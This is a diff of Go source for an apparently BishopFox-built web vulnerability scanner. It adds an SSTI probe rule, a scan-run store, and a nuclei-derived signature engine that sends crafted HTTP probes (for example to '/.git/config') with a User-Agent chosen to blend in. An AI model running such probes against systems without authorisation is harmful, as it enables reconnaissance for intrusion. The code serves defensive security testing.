||||
func (*Rule) Description() string {
|
||||
return "Injects arithmetic-expression polyglots across common template engines (Jinja, " +
|
||||
"Twig, Freemarker, Velocity, ERB, Razor and others) into each parameter; if the " +
|
||||
"computed product appears in the response, the engine evaluated the expression."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategorySSTI, "Server-side template injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func probe(pc injkit.ProbeCtx, payloads []string) {
|
||||
for _, pl := range payloads {
|
||||
res := pc.Inject(pl, false)
|
||||
if res != nil && strings.Contains(string(res.Resp.Body), product) {
|
||||
pc.File(detect.SeverityCritical, "SSTI in "+pc.Point.Name,
|
||||
"payload "+pl+" produced "+product+" in the response", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package activescan
|
||||
|
||||
import "sync"
|
||||
|
||||
// Store holds runs in memory, bounded like chainrun.Store. Runs are session
|
||||
// state and never reach the project file.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
runs []*Run
|
||||
}
|
||||
|
||||
// NewStore creates an empty run store.
|
||||
func NewStore() *Store { return &Store{} }
|
||||
|
||||
// Get returns a run by ID, or nil.
|
||||
func (s *Store) Get(id string) *Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.runs {
|
||||
if r.ID == id {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns every run, newest first.
|
||||
func (s *Store) List() []*Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*Run, len(s.runs))
|
||||
for i, r := range s.runs {
|
||||
out[len(s.runs)-1-i] = r
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Running returns the run currently in flight, or nil.
|
||||
func (s *Store) Running() *Run {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, r := range s.runs {
|
||||
if r.Status() == StatusRunning {
|
||||
return r
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddIfIdle adds a run only if none is in flight, returning the run that blocked
|
||||
// it or nil on success.
|
||||
//
|
||||
// One lock for the test and the insert: a Running check then a separate Add
|
||||
// leaves a gap two requests both pass, which is the concurrent scan the
|
||||
// single-run rule exists to prevent.
|
||||
func (s *Store) AddIfIdle(r *Run) *Run {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for _, old := range s.runs {
|
||||
if old.Status() == StatusRunning {
|
||||
return old
|
||||
}
|
||||
}
|
||||
if len(s.runs) >= MaxRuns {
|
||||
for i, old := range s.runs {
|
||||
if old.Status() != StatusRunning {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
s.runs = append(s.runs, r)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Delete removes a run, reporting whether it was found.
|
||||
func (s *Store) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, r := range s.runs {
|
||||
if r.ID == id {
|
||||
s.runs = append(s.runs[:i], s.runs[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Clear stops and drops every run, for a project switch.
|
||||
func (s *Store) Clear() {
|
||||
s.mu.Lock()
|
||||
runs := s.runs
|
||||
s.runs = nil
|
||||
s.mu.Unlock()
|
||||
for _, r := range runs {
|
||||
r.Stop()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
# Attribution — signatures.json
|
||||
|
||||
`signatures.json` is a normalized, curated derivative of the
|
||||
[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project
|
||||
by ProjectDiscovery, used under the MIT License.
|
||||
|
||||
- Source: `github.com/projectdiscovery/nuclei-templates`
|
||||
- License: MIT (permits modification and redistribution with this notice)
|
||||
- Generated at design time by `tools/nucleigen` from commit
|
||||
`58670555f97912d95733b509e08061785f66e5e5` (subtrees `http/exposures`,
|
||||
`http/misconfiguration`, `http/exposed-panels`).
|
||||
|
||||
Each entry records the originating template id (`nucleiId`) and its path within
|
||||
the checkout (`source`). Only templates whose whole logic fits Joro's supported
|
||||
HTTP matcher subset were converted; the rest were dropped (see the converter's
|
||||
skip census). The dataset is regenerated, never hand-edited.
|
||||
|
||||
The MIT license text accompanies the ProjectDiscovery repository; this derivative
|
||||
is distributed under the same terms.
|
||||
@@ -0,0 +1,58 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/json"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// signaturesJSON is the normalized, curated check set produced at design time by
|
||||
// tools/nucleigen from a reviewed nuclei-templates checkout. It is embedded data,
|
||||
// not a Go dependency; the server never parses a nuclei YAML template.
|
||||
//
|
||||
//go:embed signatures.json
|
||||
var signaturesJSON []byte
|
||||
|
||||
// load parses and compiles the embedded dataset once, on the Rule instance (not a
|
||||
// package global, per the no-globals rule). A signature whose regex will not
|
||||
// compile under RE2 is dropped whole rather than run half-blind.
|
||||
func (r *Rule) load() ([]Signature, error) {
|
||||
r.once.Do(func() {
|
||||
var sigs []Signature
|
||||
if err := json.Unmarshal(signaturesJSON, &sigs); err != nil {
|
||||
r.err = err
|
||||
return
|
||||
}
|
||||
out := make([]Signature, 0, len(sigs))
|
||||
for i := range sigs {
|
||||
if compileSignature(&sigs[i]) {
|
||||
out = append(out, sigs[i])
|
||||
}
|
||||
}
|
||||
r.sigs = out
|
||||
})
|
||||
return r.sigs, r.err
|
||||
}
|
||||
|
||||
// compileSignature compiles every regex matcher in a signature. It returns false
|
||||
// if any regex is rejected by RE2, so the caller can drop the whole check.
|
||||
func compileSignature(sig *Signature) bool {
|
||||
for ri := range sig.Requests {
|
||||
req := &sig.Requests[ri]
|
||||
for mi := range req.Matchers {
|
||||
m := &req.Matchers[mi]
|
||||
if m.Type != "regex" {
|
||||
continue
|
||||
}
|
||||
m.compiled = m.compiled[:0]
|
||||
for _, expr := range m.Regexes {
|
||||
re, err := regexp.Compile(expr)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
m.compiled = append(m.compiled, re)
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
)
|
||||
|
||||
// selectSignatures narrows the dataset to what should run against one host: the
|
||||
// scan's tag/severity filters, then fingerprint gating.
|
||||
//
|
||||
// Gating runs a signature when it is tech-agnostic (no RequiresTech) or when one
|
||||
// of its required technologies is present on the host, version permitting. With
|
||||
// IgnoreFingerprint set, or no fingerprint store wired, gating is skipped and
|
||||
// every tag/severity-passing signature runs. When the host has a fingerprint but
|
||||
// nothing was detected, only tech-agnostic signatures run.
|
||||
func selectSignatures(sigs []Signature, cfg activescan.Config, deps activescan.RuleDeps, host string, disabled *activescan.DisabledSet) []Signature {
|
||||
tagFilter := lowerSet(cfg.Tags)
|
||||
sevFilter := lowerSet(cfg.Severity)
|
||||
|
||||
gate := !cfg.IgnoreFingerprint && deps.Tech != nil
|
||||
var detected map[string]string // lower tech name -> version ("" if unknown)
|
||||
if gate {
|
||||
detected = map[string]string{}
|
||||
if ht, ok := deps.Tech.Host(host); ok {
|
||||
for _, t := range ht.Technologies {
|
||||
detected[strings.ToLower(t.Name)] = t.Version
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]Signature, 0, len(sigs))
|
||||
for _, sig := range sigs {
|
||||
if !disabled.IsItemEnabled(sig.ID) {
|
||||
continue
|
||||
}
|
||||
if len(tagFilter) > 0 && !anyIn(sig.Tags, tagFilter) {
|
||||
continue
|
||||
}
|
||||
if len(sevFilter) > 0 && !sevFilter[strings.ToLower(sig.Severity)] {
|
||||
continue
|
||||
}
|
||||
if gate && !eligible(sig, detected) {
|
||||
continue
|
||||
}
|
||||
out = append(out, sig)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// eligible reports whether a signature's technology preconditions are met.
|
||||
func eligible(sig Signature, detected map[string]string) bool {
|
||||
if len(sig.RequiresTech) == 0 {
|
||||
return true
|
||||
}
|
||||
for _, req := range sig.RequiresTech {
|
||||
ver, ok := detected[strings.ToLower(req.Name)]
|
||||
if ok && versionOK(ver, req) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// versionOK applies a version constraint, failing open on an unknown version: a
|
||||
// detected-but-unversioned technology always satisfies the bound, because
|
||||
// skipping a possibly-vulnerable host is worse than an occasional wasted probe.
|
||||
func versionOK(detected string, req TechReq) bool {
|
||||
if detected == "" {
|
||||
return true
|
||||
}
|
||||
if req.MinVersion != "" && compareVersion(detected, req.MinVersion) < 0 {
|
||||
return false
|
||||
}
|
||||
if req.MaxVersion != "" && compareVersion(detected, req.MaxVersion) >= 0 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// compareVersion compares dotted numeric versions, returning -1, 0 or 1. A
|
||||
// non-numeric segment compares as 0, which is lenient by design.
|
||||
func compareVersion(a, b string) int {
|
||||
as := strings.Split(a, ".")
|
||||
bs := strings.Split(b, ".")
|
||||
for i := 0; i < len(as) || i < len(bs); i++ {
|
||||
var x, y int
|
||||
if i < len(as) {
|
||||
x, _ = strconv.Atoi(numeric(as[i]))
|
||||
}
|
||||
if i < len(bs) {
|
||||
y, _ = strconv.Atoi(numeric(bs[i]))
|
||||
}
|
||||
if x != y {
|
||||
if x < y {
|
||||
return -1
|
||||
}
|
||||
return 1
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// numeric keeps the leading digit run of a version segment ("4rc1" -> "4").
|
||||
func numeric(s string) string {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] < '0' || s[i] > '9' {
|
||||
return s[:i]
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func lowerSet(in []string) map[string]bool {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make(map[string]bool, len(in))
|
||||
for _, s := range in {
|
||||
if s = strings.ToLower(strings.TrimSpace(s)); s != "" {
|
||||
out[s] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func anyIn(vals []string, set map[string]bool) bool {
|
||||
for _, v := range vals {
|
||||
if set[strings.ToLower(v)] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// replacer substitutes the URL template tokens nuclei expands inside matcher
|
||||
// words at match time. BaseURL is the target origin; Host is its host[:port].
|
||||
type replacer struct {
|
||||
baseURL string
|
||||
host string
|
||||
}
|
||||
|
||||
func (r replacer) apply(s string) string {
|
||||
if !strings.Contains(s, "{{") {
|
||||
return s
|
||||
}
|
||||
s = strings.ReplaceAll(s, "{{BaseURL}}", r.baseURL)
|
||||
s = strings.ReplaceAll(s, "{{RootURL}}", r.baseURL)
|
||||
s = strings.ReplaceAll(s, "{{Hostname}}", r.host)
|
||||
s = strings.ReplaceAll(s, "{{Host}}", r.host)
|
||||
return s
|
||||
}
|
||||
|
||||
// evalMatchers evaluates a request's matcher set against a response and returns
|
||||
// whether it matched, with a short evidence string naming what matched.
|
||||
func evalMatchers(req *Request, resp httptools.Response, rp replacer) (bool, string) {
|
||||
if len(req.Matchers) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(req.MatchersCondition, "and")
|
||||
var evidence []string
|
||||
allOK := true
|
||||
anyOK := false
|
||||
for i := range req.Matchers {
|
||||
ok, ev := evalMatcher(&req.Matchers[i], resp, rp)
|
||||
if ok {
|
||||
anyOK = true
|
||||
if ev != "" {
|
||||
evidence = append(evidence, ev)
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
matched := anyOK
|
||||
if and {
|
||||
matched = allOK
|
||||
}
|
||||
if !matched {
|
||||
return false, ""
|
||||
}
|
||||
return true, strings.Join(evidence, "; ")
|
||||
}
|
||||
|
||||
// evalMatcher evaluates one matcher. Negative inverts the result; a negative
|
||||
// match reports no evidence (there is nothing to show).
|
||||
func evalMatcher(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
|
||||
ok, ev := matcherHit(m, resp, rp)
|
||||
if m.Negative {
|
||||
return !ok, ""
|
||||
}
|
||||
return ok, ev
|
||||
}
|
||||
|
||||
func matcherHit(m *Matcher, resp httptools.Response, rp replacer) (bool, string) {
|
||||
switch m.Type {
|
||||
case "status":
|
||||
for _, s := range m.Status {
|
||||
if resp.Status == s {
|
||||
return true, "status " + strconv.Itoa(s)
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
case "size":
|
||||
n := len(resp.Body)
|
||||
for _, s := range m.Sizes {
|
||||
if n == s {
|
||||
return true, "size " + strconv.Itoa(n)
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
case "word":
|
||||
return matchWords(m, part(m.Part, resp), rp)
|
||||
case "regex":
|
||||
return matchRegexes(m, part(m.Part, resp))
|
||||
default:
|
||||
return false, ""
|
||||
}
|
||||
}
|
||||
|
||||
// matchWords applies the word list with the matcher's and/or condition. Words are
|
||||
// matched case-insensitively, matching nuclei's default.
|
||||
func matchWords(m *Matcher, hay string, rp replacer) (bool, string) {
|
||||
if len(m.Words) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(m.Condition, "and")
|
||||
lower := strings.ToLower(hay)
|
||||
anyOK, allOK := false, true
|
||||
var first string
|
||||
for _, w := range m.Words {
|
||||
w = rp.apply(w)
|
||||
if strings.Contains(lower, strings.ToLower(w)) {
|
||||
anyOK = true
|
||||
if first == "" {
|
||||
first = w
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
if (and && allOK) || (!and && anyOK) {
|
||||
return true, "matched " + strconv.Quote(first)
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// matchRegexes applies the compiled regex list with the matcher's and/or
|
||||
// condition. The evidence is the first concrete match, truncated.
|
||||
func matchRegexes(m *Matcher, hay string) (bool, string) {
|
||||
if len(m.compiled) == 0 {
|
||||
return false, ""
|
||||
}
|
||||
and := strings.EqualFold(m.Condition, "and")
|
||||
anyOK, allOK := false, true
|
||||
var first string
|
||||
for _, re := range m.compiled {
|
||||
if loc := re.FindString(hay); loc != "" || re.MatchString(hay) {
|
||||
anyOK = true
|
||||
if first == "" {
|
||||
first = loc
|
||||
}
|
||||
} else {
|
||||
allOK = false
|
||||
}
|
||||
}
|
||||
if (and && allOK) || (!and && anyOK) {
|
||||
return true, "matched " + strconv.Quote(truncate(first, 80))
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
// part selects the response region a matcher reads. Default is the body.
|
||||
func part(name string, resp httptools.Response) string {
|
||||
switch strings.ToLower(name) {
|
||||
case "header", "headers":
|
||||
return headerString(resp)
|
||||
case "all", "response", "raw":
|
||||
return headerString(resp) + "\r\n\r\n" + string(resp.Body)
|
||||
default:
|
||||
return string(resp.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func headerString(resp httptools.Response) string {
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "HTTP %d\r\n", resp.Status)
|
||||
for k, vs := range resp.Header {
|
||||
for _, v := range vs {
|
||||
b.WriteString(k)
|
||||
b.WriteString(": ")
|
||||
b.WriteString(v)
|
||||
b.WriteString("\r\n")
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func truncate(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "…"
|
||||
}
|
||||
|
||||
// spreader distributes a rule's share of the run's URL-based total across its own
|
||||
// internal steps, so the scan's completed/total stays coherent when the rule's
|
||||
// real unit of work (signatures) differs from the planned unit (URLs).
|
||||
type spreader struct {
|
||||
rep activescan.Reporter
|
||||
budget int
|
||||
steps int
|
||||
done int
|
||||
emitted int
|
||||
}
|
||||
|
||||
func newSpreader(rep activescan.Reporter, budget, steps int) *spreader {
|
||||
return &spreader{rep: rep, budget: budget, steps: steps}
|
||||
}
|
||||
|
||||
func (p *spreader) step() {
|
||||
p.done++
|
||||
want := p.budget
|
||||
if p.steps > 0 {
|
||||
want = p.budget * p.done / p.steps
|
||||
}
|
||||
if want > p.budget {
|
||||
want = p.budget
|
||||
}
|
||||
if want > p.emitted {
|
||||
p.rep.Progress(want - p.emitted)
|
||||
p.emitted = want
|
||||
}
|
||||
}
|
||||
|
||||
func (p *spreader) finish() {
|
||||
if p.budget > p.emitted {
|
||||
p.rep.Progress(p.budget - p.emitted)
|
||||
p.emitted = p.budget
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// defaultUA is sent unless a signature overrides User-Agent. A plain browser
|
||||
// string keeps a probe from standing out from ordinary traffic.
|
||||
const defaultUA = "Mozilla/5.0 (compatible; Joro)"
|
||||
|
||||
// renderRequest builds raw HTTP/1.1 bytes for one probe against origin. The path
|
||||
// is {{BaseURL}}-relative; a stray {{BaseURL}} prefix or an absolute URL is
|
||||
// reduced to its path. Content-Length is computed from the body in hand; the
|
||||
// request never carries Transfer-Encoding.
|
||||
func renderRequest(origin string, req *Request, path string) ([]byte, error) {
|
||||
host, err := hostOf(origin)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
target := normalizePath(path)
|
||||
if strings.ContainsAny(target, "\r\n") {
|
||||
return nil, fmt.Errorf("illegal path")
|
||||
}
|
||||
|
||||
method := strings.ToUpper(strings.TrimSpace(req.Method))
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "%s %s HTTP/1.1\r\n", method, target)
|
||||
fmt.Fprintf(&b, "Host: %s\r\n", host)
|
||||
|
||||
sentUA, sentAccept := false, false
|
||||
for k, v := range req.Headers {
|
||||
if strings.ContainsAny(k, "\r\n:") || strings.ContainsAny(v, "\r\n") {
|
||||
continue
|
||||
}
|
||||
switch strings.ToLower(k) {
|
||||
case "user-agent":
|
||||
sentUA = true
|
||||
case "accept":
|
||||
sentAccept = true
|
||||
case "host", "content-length":
|
||||
continue // Host is set above; Content-Length is computed below
|
||||
}
|
||||
fmt.Fprintf(&b, "%s: %s\r\n", k, v)
|
||||
}
|
||||
if !sentUA {
|
||||
fmt.Fprintf(&b, "User-Agent: %s\r\n", defaultUA)
|
||||
}
|
||||
if !sentAccept {
|
||||
b.WriteString("Accept: */*\r\n")
|
||||
}
|
||||
b.WriteString("Connection: close\r\n")
|
||||
b.WriteString("\r\n")
|
||||
b.WriteString(req.Body)
|
||||
|
||||
return httptools.UpdateContentLength([]byte(b.String())), nil
|
||||
}
|
||||
|
||||
// hostOf returns the host[:port] of an origin.
|
||||
func hostOf(origin string) (string, error) {
|
||||
u, err := url.Parse(origin)
|
||||
if err != nil || u.Host == "" {
|
||||
return "", fmt.Errorf("bad origin %q", origin)
|
||||
}
|
||||
return u.Host, nil
|
||||
}
|
||||
|
||||
// normalizePath reduces a signature path to an origin-form request target.
|
||||
func normalizePath(p string) string {
|
||||
p = strings.TrimSpace(p)
|
||||
p = strings.ReplaceAll(p, "{{BaseURL}}", "")
|
||||
p = strings.ReplaceAll(p, "{{Hostname}}", "")
|
||||
if strings.HasPrefix(p, "http://") || strings.HasPrefix(p, "https://") {
|
||||
p = originPath(p)
|
||||
}
|
||||
if p == "" {
|
||||
return "/"
|
||||
}
|
||||
if !strings.HasPrefix(p, "/") {
|
||||
p = "/" + p
|
||||
}
|
||||
return p
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,338 @@
|
||||
// Package templatesig is the active-scan signature rule: it sends crafted HTTP
|
||||
// requests and files a finding when the response matches a check. The checks are
|
||||
// an embedded, normalized dataset mined at design time from nuclei-templates (see
|
||||
// tools/nucleigen) — the server never parses a nuclei YAML template, only this
|
||||
// vetted schema.
|
||||
//
|
||||
// # Fingerprint-gated
|
||||
//
|
||||
// Before sending, the rule reads the passive technology fingerprint of the host
|
||||
// (internal/techfp) and runs only the signatures whose RequiresTech matches the
|
||||
// detected stack, plus the tech-agnostic ones. A WordPress host is probed for
|
||||
// WordPress and PHP checks, not for Jira or Drupal ones. Gating is version-aware
|
||||
// but fail-open: a version constraint narrows only when the version is known.
|
||||
//
|
||||
// # Fail-closed at the source, not here
|
||||
//
|
||||
// The matcher vocabulary is deliberately small (status, word, regex, size, with
|
||||
// and/or and negation). That is not a runtime limitation to work around: the
|
||||
// converter emits a signature only when a template's whole logic fits this
|
||||
// vocabulary, and drops the rest. So a signature that reaches this package is one
|
||||
// Joro can evaluate faithfully — there is no partial evaluation that could report
|
||||
// a vulnerable target as safe.
|
||||
package templatesig
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "templatesig"
|
||||
findingRule = "activescan.templatesig"
|
||||
|
||||
perRequestTimeout = 15 * time.Second
|
||||
// maxRespBytes is the response body a match needs; the send default is sized
|
||||
// only to fingerprint, which is too little for a body word/regex matcher.
|
||||
maxRespBytes = 1 << 20
|
||||
)
|
||||
|
||||
// TechReq is a technology precondition on a signature. An empty Name list on a
|
||||
// signature means tech-agnostic (always eligible). MinVersion is inclusive,
|
||||
// MaxVersion exclusive; either may be empty.
|
||||
type TechReq struct {
|
||||
Name string `json:"name"`
|
||||
MinVersion string `json:"minVersion,omitempty"`
|
||||
MaxVersion string `json:"maxVersion,omitempty"`
|
||||
}
|
||||
|
||||
// Matcher is one condition evaluated against a response.
|
||||
type Matcher struct {
|
||||
Type string `json:"type"` // status | word | regex | size
|
||||
Part string `json:"part,omitempty"` // body | header | all (default body)
|
||||
Status []int `json:"status,omitempty"`
|
||||
Words []string `json:"words,omitempty"`
|
||||
Regexes []string `json:"regexes,omitempty"`
|
||||
Sizes []int `json:"sizes,omitempty"`
|
||||
Condition string `json:"condition,omitempty"` // and | or across words/regexes (default or)
|
||||
Negative bool `json:"negative,omitempty"`
|
||||
|
||||
compiled []*regexp.Regexp // filled by compile()
|
||||
}
|
||||
|
||||
// Request is one probe: a method and one or more paths sharing a matcher set.
|
||||
type Request struct {
|
||||
Method string `json:"method"`
|
||||
Paths []string `json:"paths"` // {{BaseURL}}-relative, e.g. "/.git/config"
|
||||
Headers map[string]string `json:"headers,omitempty"`
|
||||
Body string `json:"body,omitempty"`
|
||||
Matchers []Matcher `json:"matchers"`
|
||||
MatchersCondition string `json:"matchersCondition,omitempty"` // and | or (default or)
|
||||
StopAtFirstMatch bool `json:"stopAtFirstMatch,omitempty"`
|
||||
}
|
||||
|
||||
// Signature is one normalized check mined from a nuclei template.
|
||||
type Signature struct {
|
||||
ID string `json:"id"`
|
||||
NucleiID string `json:"nucleiId,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Severity string `json:"severity"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Remediation string `json:"remediation,omitempty"`
|
||||
Reference []string `json:"reference,omitempty"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
RequiresTech []TechReq `json:"requiresTech,omitempty"`
|
||||
Requests []Request `json:"requests"`
|
||||
}
|
||||
|
||||
// Rule implements activescan.Rule and activescan.Cataloger over the embedded
|
||||
// signature set. The per-signature enable/disable half of Cataloger comes from the
|
||||
// embedded *activescan.DisabledSet (per-project session state set by
|
||||
// applyProjectConfig and read by buildProjectConfig).
|
||||
type Rule struct {
|
||||
once sync.Once
|
||||
sigs []Signature
|
||||
err error
|
||||
*activescan.DisabledSet
|
||||
}
|
||||
|
||||
// New returns the template-signature rule. The embedded dataset is parsed and its
|
||||
// regexes compiled lazily on first Run, off the server boot path.
|
||||
func New() *Rule { return &Rule{DisabledSet: activescan.NewDisabledSet()} }
|
||||
|
||||
// RuleID is the stable registry id of this rule, for callers that resolve the
|
||||
// concrete rule from the registry.
|
||||
func RuleID() string { return ruleID }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Template signatures" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryTemplate }
|
||||
|
||||
func (*Rule) Description() string {
|
||||
return "HTTP request signatures mined from nuclei templates — exposed files, " +
|
||||
"known-vulnerable fingerprints, misconfigurations, and exposed panels. Fingerprint-" +
|
||||
"gated: only signatures matching a host's detected technology stack run, plus the " +
|
||||
"tech-agnostic ones."
|
||||
}
|
||||
|
||||
// CatalogItems maps each loaded signature to a neutral catalog item for the UI.
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
sigs, err := r.load()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
out := make([]activescan.CatalogItem, 0, len(sigs))
|
||||
for i := range sigs {
|
||||
sig := &sigs[i]
|
||||
var method string
|
||||
var paths []string
|
||||
if len(sig.Requests) > 0 {
|
||||
method = sig.Requests[0].Method
|
||||
paths = sig.Requests[0].Paths
|
||||
}
|
||||
tech := make([]string, 0, len(sig.RequiresTech))
|
||||
for _, t := range sig.RequiresTech {
|
||||
tech = append(tech, t.Name)
|
||||
}
|
||||
detail := []activescan.CatalogField{}
|
||||
add := func(label, value string) {
|
||||
if value != "" {
|
||||
detail = append(detail, activescan.CatalogField{Label: label, Value: value})
|
||||
}
|
||||
}
|
||||
if method != "" || len(paths) > 0 {
|
||||
add("Request", strings.TrimSpace(method+" "+strings.Join(paths, ", ")))
|
||||
}
|
||||
add("Required technology", strings.Join(tech, ", "))
|
||||
add("Tags", strings.Join(sig.Tags, ", "))
|
||||
add("References", strings.Join(sig.Reference, "\n"))
|
||||
add("Nuclei ID", sig.NucleiID)
|
||||
add("Source", sig.Source)
|
||||
out = append(out, activescan.CatalogItem{
|
||||
ID: sig.ID,
|
||||
Name: sig.Name,
|
||||
Severity: sig.Severity,
|
||||
Confidence: string(sig.Confidence()),
|
||||
Target: string(detect.TargetMessage),
|
||||
Description: sig.Description,
|
||||
Remediation: sig.Remediation,
|
||||
Enabled: r.IsItemEnabled(sig.ID),
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Run selects the eligible signatures for the target's technology stack and
|
||||
// probes each, filing a finding per confirmed match.
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
sigs, err := r.load()
|
||||
if err != nil {
|
||||
return fmt.Errorf("load signatures: %w", err)
|
||||
}
|
||||
|
||||
selected := selectSignatures(sigs, cfg, deps, t.Host, r.DisabledSet)
|
||||
prog := newSpreader(rep, len(t.URLs), len(selected))
|
||||
defer prog.finish()
|
||||
|
||||
send := httptools.SendDeps{
|
||||
ProxyAddr: deps.ProxyAddr,
|
||||
CA: deps.CA,
|
||||
Store: deps.Store,
|
||||
MaxRespBytes: maxRespBytes,
|
||||
}
|
||||
|
||||
for _, sig := range selected {
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
}
|
||||
r.runSignature(ctx, t, sig, send, rep)
|
||||
prog.step()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// runSignature probes every request/path of one signature, stopping a request's
|
||||
// path sweep at the first match when the signature asks for it.
|
||||
func (r *Rule) runSignature(ctx context.Context, t activescan.Target, sig Signature, send httptools.SendDeps, rep activescan.Reporter) {
|
||||
for ri := range sig.Requests {
|
||||
req := &sig.Requests[ri]
|
||||
for _, path := range req.Paths {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
raw, err := renderRequest(t.Origin, req, path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
reqCtx, cancel := context.WithTimeout(ctx, perRequestTimeout)
|
||||
sent, err := httptools.SendViaProxy(reqCtx, raw, t.Scheme, t.Host, send)
|
||||
cancel()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
resp := httptools.ReadResponse(sent.RespRaw)
|
||||
rp := replacer{baseURL: strings.TrimRight(t.Origin, "/"), host: t.Host}
|
||||
ok, evidence := evalMatchers(req, resp, rp)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
rep.Finding(buildFinding(t.Host, t.Origin, path, sent.URL, sig, evidence))
|
||||
if req.StopAtFirstMatch {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
